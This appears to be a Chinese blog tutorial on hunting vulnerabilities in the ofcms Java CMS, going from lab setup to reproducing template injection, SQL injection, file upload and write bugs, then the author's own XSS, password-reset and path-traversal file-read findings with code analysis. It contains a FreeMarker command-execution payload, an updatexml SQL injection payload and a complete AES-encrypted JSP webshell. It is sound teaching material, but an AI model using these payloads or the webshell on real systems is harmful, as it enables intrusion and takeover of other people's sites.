• 细说从0开始挖掘cms-


    声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。

    前言

    挖了一些phpcms的漏洞了,突然想尝试去挖一下javacms的漏洞,于是写下这篇文章来记录一下自己挖洞的一个流程,希望能帮助到一些正在学习挖洞的师傅们。

    确立目标

    挖洞的第一步首先是确立一个目标,也就是找个cms来挖,这里可以通过github,gitee或者谷歌百度直接去搜cms。

    4f18ea334a7ef8b1d0d13c6769174b23.png

    5c91c35a7505c3a24457dface630d21d.png

    如果挖洞经验比较少的话建议找一下star少的cms去挖,找到相应的项目,然后点进去,下载源码,然后看项目的介绍,大致了解一下项目的信息和安装的过程。

    7b9425fcefdc291ab62f9b5d9eb7d3c6.png

    信息收集

    如果确定了目标,接下来我们可以去了解一下他的项目信息,相应的漏洞等。

    项目信息除了上面的README以为还可以看看issues模块,这里可能会有一些系统问题或者安装问题,后续我们可能会遇到

    a487f9580a87ad638fad0cf0f89a0132.png

    漏洞信息的话可以通过cnvd或者其他漏洞平台(直接百度也可以)去查看该系统的漏洞情况。

    6fd1dd9b6ee56bae9fbbe8e9bb3cce2c.png

    或者cnvd查看相应的信息,通过查看相应的信息可以提高我们挖洞的效率,我们从中可以知道该项目已经存在漏洞,我们到时候挖就可以看看相应的地方会不会还存在漏洞或者避免挖到别人挖过的漏洞。

    53b0de89a31a332b8264dd3c32e65df9.png

    环境搭建

    上面的信息收集完之后我们就要开始搭建环境了,搭建环境是很关键的一步,由于某些cms安装过程繁琐或者没写好说明,会导致安装出现很多问题甚至装不上,这里我们要注意项目的文档,如果实在安装有问题可以通过相关渠道去联系一下作者或者相应的qq群寻求一下帮助。

    本次挖掘的漏洞是ofcms,首先先下载一下源码,然后解压丢一边,回到网页来看一下项目文档。

    环境要求

    一般项目都会有写环境要求的,我们调整一下就好。

    77e7f154cd9e51355e701927d937e710.png

    环境准备

    环境解压完我们用idea打开,如果发现一些重要目录文件不见了,重开一下就有了。

    数据库

    首先找到db.properties,如果不能一眼看到可以通过ctrl+shift+f来快速搜索

    46736a5192e85e15016d6aea62123a41.png

    /ofcms-admin/src/main/resources/dev/conf/db.properties

    找到了文件,访问相对应的路径即可,这里我们修改一下数据库用户名和密码,然后点击右边的数据库来测试连接。

    1bd355388956646b518662d0a62cff01.png

    然后按数据库信息来修改,然后点击右边的数据库,配置一下。

    如果出现以下的错误
    Server returns invalid timezone. Go to 'Advanced' tab and set 'serverTimezone' property manually.

    d818469e20fc750be4bf3a5adeb2a5bb.png

    这是时区问题,如果配置了环境变量报错,可以通过以下步骤来解决。

    win+R
    cmd
    mysql -hlocalhost -uroot -p

    (然后输入数据库密码)
    show variables like'%time_zone';
    set global time_zone = '+8:00';

    795c120b8ca46121cf64253ee91ec31b.png

    没配置环境变量的,看这个文章

    https://blog.csdn.net/liuqiker/article/details/102455077

    配置成功效果图如下

    a7d6510df8bf6917291562583d718042.png

    maven

    右键项目找到mavne重新加载项目即可

    910e7041215e6d661b1e5d89e9dc104d.png

    tomcat

    在run-configuration中配置tomcat

    7dedc12d40b71f335a199ba197e8bdb1.png

    在Deployment配置一下

    7856c80cff3910026f23782b1d433163.png

    一切配置好后点击run启动就可以了,如果遇到端口报错改一下端口,其他的报错就百度一下

    安装过程

    这一步就比较简单了,跟着弄就好了。

    12cfeef35873522b5aee59a7eb2bfa26.png

    下一步,然后配置好数据库,这里记得先在数据库中新建个ofcms的库,否则会报Unknown database 'ofcms'的错。

    073bca316e92b202cec99eebed3b5636.png

    在这里,正常安装步骤是建立好数据库,输入账号密码就等待安装就好。

    如果出现以下报错,我们可以通过手工导入数据库,这一种情况在安装别的cms也很常见,在安装遇到数据库问题我们可以直接导入数据库。

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DROP TABLE IF EXISTS `of_cms_access`; CREATE TABLE `of_cms_access` ( `access_i' at line 21

    数据库位置ofcms-master\doc\sql,选择相应的版本直接拖进navicat中,然后导入成功后刷新一下就好。

    37992a6527c8503372325db49210cb23.png

    接着将数据库配置文件db-config.properties文件名修改为db.properties,重启一下服务。

    ead67e34a9e51598f196f93a604b4e04.png

    漏洞复现

    环境搭建完,我们就可以开始挖洞了,然后在这里我建议是能找到该漏洞已存在的文章,我们就先去复现一下,看看别的师傅们的挖过的漏洞,一方面是防止重复,一方面是可以学习一下别人的挖洞思路。

    ofcms其实存在挺多漏洞的,这里我们就来简单复现一下,大致看看师傅们的挖洞思路。

    任意文件写入

    漏洞模板文件这个位置,漏洞的详细分析可以看看文章

    漏洞复现

    我们选择任意一个html,然后点击保存抓包,我们可以看到包的信息。

    49a044662e78b949cda2d05d2905689f.png

    这里就是写入文件,我们在admin目录下写入eek1.xml文件。

    d7ba0d2352e32d0fe56fe2470d9b2850.png

    通过上面任意文件读取漏洞去读取一下

    ecb1f082762252fe6ed6db7efbaa90f4.png

    模板注入漏洞

    漏洞在模板注入,这个漏洞主要是pom.xml引入了freemarker-2.3.21依赖,但是留下一些不安全因素导致的,具体漏洞分析可以看这篇文章。

    漏洞复现

    漏洞复现过程比较简单,我们直接在html文件中插入payload就可以了

    <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("calc") }

    插入后直要访问前台就会出发payload

    c1e5524f44fd0e070b4455cfb5780fe8.png

    模板注入的知识点可以看看这篇文章

    通过这一个洞,我们可以挖洞的时候可以去注意一下pom.xml引入的模板。

    SQL注入漏洞

    漏洞分析参考文章,由于这里的预编译处理不起作用,所以可以执行SQL语句。

    漏洞复现

    漏洞点在系统设置---代码生成---添加----添加表,在这里抓一下包

    ed23497fbaec06c3c20307602c1270f3.png

    直接把payload输进来

    update of_cms_ad set ad_id=updatexml(1,concat(1,user()),1)

    da54c47a719e0e01599a6b7713d2358a.png

    任意文件上传

    漏洞分析在上一篇文章里有说,这里主要就是利用windows或中间件文件上传特性来避免结尾为jsp或jspx

    漏洞复现

    找到一个上传点然后抓包,我这里是在内容管理----栏目管理----新增----新增用户----上传附件这里抓包的。

    0f014aa5f6674714e94931e962fe9773.png

    1. eek.jsp
    2. <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

    b4af7180938daa6723122bae02ecca49.png

    可以看到文件上传进去,而且内容没被修改。

    漏洞挖掘

    通过上面的内容,我们学习了别的师傅的挖洞思路,接下来就是我自己的挖洞过程了,下面是我挖的几个洞。

    e89b549aa37a66e2ee7f9ed18513174a.png

    首先除了已经存在的漏洞外,我们要大致知道什么漏洞会存在什么地方,例如登录注册界面会出现sql漏洞,逻辑漏洞等,留言框可能会出现xss漏洞,上传头像界面可能会出现任意文件上传漏洞等,信息泄露漏洞也可以通过御剑或者其他工具去扫一下。

    XSS漏洞

    漏洞复现

    对于前台有个客户案例,选择其中一个案例,然后有个留言框,这里直接打入xss的payload就可以了。d52a080595f0a324cd4ac1feb213955f.png

    漏洞分析

    1. 文件位置ofcms-master\ofcms-api\src\main\java\com\ofsoft\cms\api\v1
    2. package com.ofsoft.cms.api.v1;
    3. import com.jfinal.plugin.activerecord.Db;
    4. import com.ofsoft.cms.api.ApiBase;
    5. import com.ofsoft.cms.core.annotation.Action;
    6. import com.ofsoft.cms.core.api.ApiMapping;
    7. import com.ofsoft.cms.core.api.RequestMethod;
    8. import com.ofsoft.cms.core.api.check.ParamsCheck;
    9. import com.ofsoft.cms.core.api.check.ParamsCheckType;
    10. import com.ofsoft.cms.core.utils.IpKit;
    11. import java.util.Map;
    12. /**
    13. * 评论接口
    14. *
    15. * @author OF
    16. * @date 2019年2月24日
    17. */
    18. @Action(path = "/comment")
    19. public class CommentApi extends ApiBase {
    20. /**
    21. * 获取内容信息
    22. */
    23. @ApiMapping(method = RequestMethod.GET)
    24. @ParamsCheck(
    25. {@ParamsCheckType(name = "comment_content"), @ParamsCheckType(name = "content_id"),
    26. @ParamsCheckType(name = "site_id")})
    27. public void save() {
    28. try {
    29. Map params = getParamsMap();
    30. params.put("comment_ip", IpKit.getRealIp(getRequest()));
    31. Db.update(Db.getSqlPara("cms.comment.save", params));
    32. rendSuccessJson();
    33. } catch (Exception e) {
    34. e.printStackTrace();
    35. rendFailedJson();
    36. }
    37. }
    38. }

    请求/api/v1/comment/save.json?comment_content=123&content_id=61&site_id=1&check_status=1&_=1644130926694

    这里直接接受请求,未对content的内容进行检测,直接将请求的值存入数据库中,导致存在跨站脚本漏洞。

    逻辑缺陷漏洞1

    本地环境

    现有两个用户信息,系统管理员admin和普通管理员eek,如下是系统管理员的界面。

    admin/admin
    eek/123

    7013a663feb884d288fdfa3e29142fad.png

    超级管理员后台界面。

    84eb47af94456739226c2d757327d80f.png

    普通管理员后台界面

    467c2ce6a6a25d06ee333d25e24aba41.png

    漏洞复现

    我们先以普通管理员登录

    1c2159b2e077d92472220e1c879d8ccf.png

    点击右上角,修改密码

    a1db1070750bf8c63834af7f222544b0.png

    在此处burp抓包

    4d311f8b8c9c2e6c5983056242ec65d2.png

    修改id为1,密码任意

    修改前admin的密码是admin

    修改后为admin,密码是eek

    c58f343642dbbc94e6553c8972d176f1.png

    漏洞分析

    漏洞文件:\ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java的respwd方法

    1. ...
    2. public void respwd() {
    3. Mapparams = getParamsMap();
    4. String password = (String) params.get("password");
    5. String newpassword = (String) params.get("newpassword");
    6. if (!password.equals(newpassword)) {
    7. rendFailedJson("两次密码不一致!");
    8. return;
    9. }
    10. Record record = new Record();
    11. if (!StringUtils.isBlank(password)) {
    12. password = new Sha256Hash(password).toHex();
    13. record.set("user_password", password);
    14. }
    15. record.set("user_id", params.get("user_id"));
    16. try {
    17. Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record);
    18. rendSuccessJson();
    19. } catch (Exception e) {
    20. e.printStackTrace();
    21. rendFailedJson(ErrorCode.get("9999"));
    22. }
    23. }...

    在此方法中,后台对前端界面的id和两次密码值进行获取,然后传入后端,后端直接将id和密码传入数据库中,让数据库直接更新信息。

    这里由于id可控导致用户可以直接修改任意id的密码,导致该地方存在任意用户密码重置。

    逻辑缺陷漏洞2

    本地环境

    数据库信息如下图所示

    159e60b2b247d8ba2795b8e836824eaf.png

    现在有超级管理员,admin/123

    普通管理员,eek/123

    漏洞复现

    首先以普通管理员身份登录,然后点击右上角,基本资料

    92256b804146e6f294dd4be61167428f.png

    在此处burp抓包

    ed716af45fa11c66e7fd225108f3de69.png

    9590ec161aca3693d07f17c5c49a2c92.png

    修改信息,user_id改为1,密码修改为admin

    35eb3a2babfa5daaaf7c4cc1fa09f760.png

    以系统管理员身份登录

    b83aab64fe5483b83c013ad0ef94a494.png

    成功登录

    07c1be16dbf24dd5e74db395dcbed07d.png

    漏洞分析

    漏洞文件:\ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java的update方法

    1. ...
    2. public void update() {
    3. Mapparams = getParamsMap();
    4. String password = (String) params.get("password");
    5. if (!StringUtils.isBlank(password)) {
    6. password = new Sha256Hash(password).toHex();
    7. params.put("user_password", password);
    8. }
    9. params.remove("password");
    10. String roleId = (String) params.get("role_id");
    11. if (!StringUtils.isBlank(roleId)) {
    12. SqlPara sql = Db.getSqlPara("system.user.role_update", params);
    13. Db.update(sql);
    14. }
    15. params.remove("role_id");
    16. Record record = new Record();
    17. record.setColumns(params);
    18. try {
    19. Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record);
    20. rendSuccessJson();
    21. } catch (Exception e) {
    22. e.printStackTrace();
    23. rendFailedJson(ErrorCode.get("9999"));
    24. }
    25. }
    26. ...

    在此方法中,后台管理直接将新增的数据放到数据库中,直接对数据库内容进行更新,未对不合法内容进行检测,导致该地方存在任意用户信息重置。

    任意文件读取

    漏洞复现

    找到模板文件

    c885f843447f478ae9269fd75734f04c.png

    所对应的路径是\ofcms-master\ofcms-admin\src\main\webapp\WEB-INF\page\default,这里可以通过目录穿越来读取任意文件。

    在他的上两级有个web.xml文件,我们尝试读取一些。

    d21cc16c1aa022e9b5aaf89a1429ad1a.png

    这里不能直接编辑,burp抓个包。

    web.xml文件如下所示

    1. "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
    2. "http://td/web-app_2_3.dtd" >
    3. Archetype Created Web Application
    4. org.apache.shiro.web.env.EnvironmentLoaderListener
    5. shiro
    6. org.apache.shiro.web.servlet.ShiroFilter
    7. .........

    读取成功

    1efabffb22b1fcc7ce8b28c17a7aea69.png

    漏洞分析

    漏洞文件位置:ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\cms\TemplateController.java漏洞位于该模块的getTemplates方法中

    1. package com.ofsoft.cms.admin.controller.cms;
    2. ...
    3. public void getTemplates() {
    4. //当前目录
    5. String dirName = getPara("dir","");
    6. //上级目录
    7. String upDirName = getPara("up_dir","/");
    8. //类型区分
    9. String resPath = getPara("res_path");
    10. //文件目录
    11. String dir = null;
    12. if(!"/".equals(upDirName)){
    13. dir = upDirName+dirName;
    14. }else{
    15. dir = dirName;
    16. }
    17. File pathFile = null;
    18. if("res".equals(resPath)){
    19. pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);
    20. }else {
    21. pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);
    22. }
    23. File[] dirs = pathFile.listFiles(new FileFilter() {
    24. @Override
    25. public boolean accept(File file) {
    26. return file.isDirectory();
    27. }
    28. });
    29. if(StringUtils.isBlank (dirName)){
    30. upDirName = upDirName.substring(upDirName.indexOf("/"),upDirName.lastIndexOf("/"));
    31. }
    32. setAttr("up_dir_name",upDirName);
    33. setAttr("up_dir","".equals(dir)?"/":dir);
    34. setAttr("dir_name",dirName.equals("")?SystemUtile.getSiteTemplatePathName():dirName);
    35. setAttr("dirs", dirs);
    36. /*if (dirName != null) {
    37. pathFile = new File(pathFile, dirName);
    38. }*/
    39. File[] files = pathFile.listFiles(new FileFilter() {
    40. @Override
    41. public boolean accept(File file) {
    42. return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")
    43. || file.getName().endsWith(".css") || file.getName().endsWith(".js"));
    44. }
    45. });
    46. setAttr("files", files);
    47. String fileName = getPara("file_name", "index.html");
    48. File editFile = null;
    49. if (fileName != null && files != null && files.length > 0) {
    50. for (File f : files) {
    51. if (fileName.equals(f.getName())) {
    52. editFile = f;
    53. break;
    54. }
    55. }
    56. if (editFile == null) {
    57. editFile = files[0];
    58. fileName = editFile.getName();
    59. }
    60. }
    61. setAttr("file_name", fileName);
    62. if (editFile != null) {
    63. String fileContent = FileUtils.readString(editFile);
    64. if (fileContent != null) {
    65. fileContent = fileContent.replace("<", "<").replace(">", ">");
    66. setAttr("file_content", fileContent);
    67. setAttr("file_path", editFile);
    68. }
    69. }
    70. if("res".equals(resPath)) {
    71. render("/admin/cms/template/resource.html");
    72. }else{
    73. render("/admin/cms/template/index.html");
    74. }
    75. }
    76. ......

    这里没有对dir和dir_name的值进行不合法输入检测,导致这里可以进行目录穿越,然后后面的就只有对文件是否存在进行判断,若存在则读取。所以此处存在任意文件读取漏洞。

    参考链接

    1. https://blog.csdn.net/liuqiker/article/details/102455077
    2. https://blog.csdn.net/xd_2021/article/details/123611835
    3. https://blog.csdn.net/HBohan/article/details/121422523
    4. https://blog.csdn.net/weixin_44522540/article/details/122844068

    原创稿件征集

    征集原创技术文章中,欢迎投递

    投稿邮箱:edu@antvsion.com

    文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

    通过审核并发布能收获200-800元不等的稿酬。

    更多详情,点我查看!

    9eef0358faeefdba15668c523dd60ff5.gif

    夏日活动福利发放中,戳“阅读原文“参与

  • 相关阅读:
    JavaScript基础知识整理
    史上最全面试题版!看完吊打面试官!七夕来袭!是时候展现专属于程序员的浪漫了 10万字+
    Antd Vue a-select placeholder不显示问题
    shell if else 使用
    pandasGUI:一款开源的功能异常强大的数据可视化分析工具
    new Vue() 发生了什么?
    onnx_graphsurgeon修改onnx计算图
    软件项目管理–进度计划
    Codeforces Round #820 (Div. 3)A~F
    Nginx网关配置
  • 原文地址:https://blog.csdn.net/qq_38154820/article/details/126397252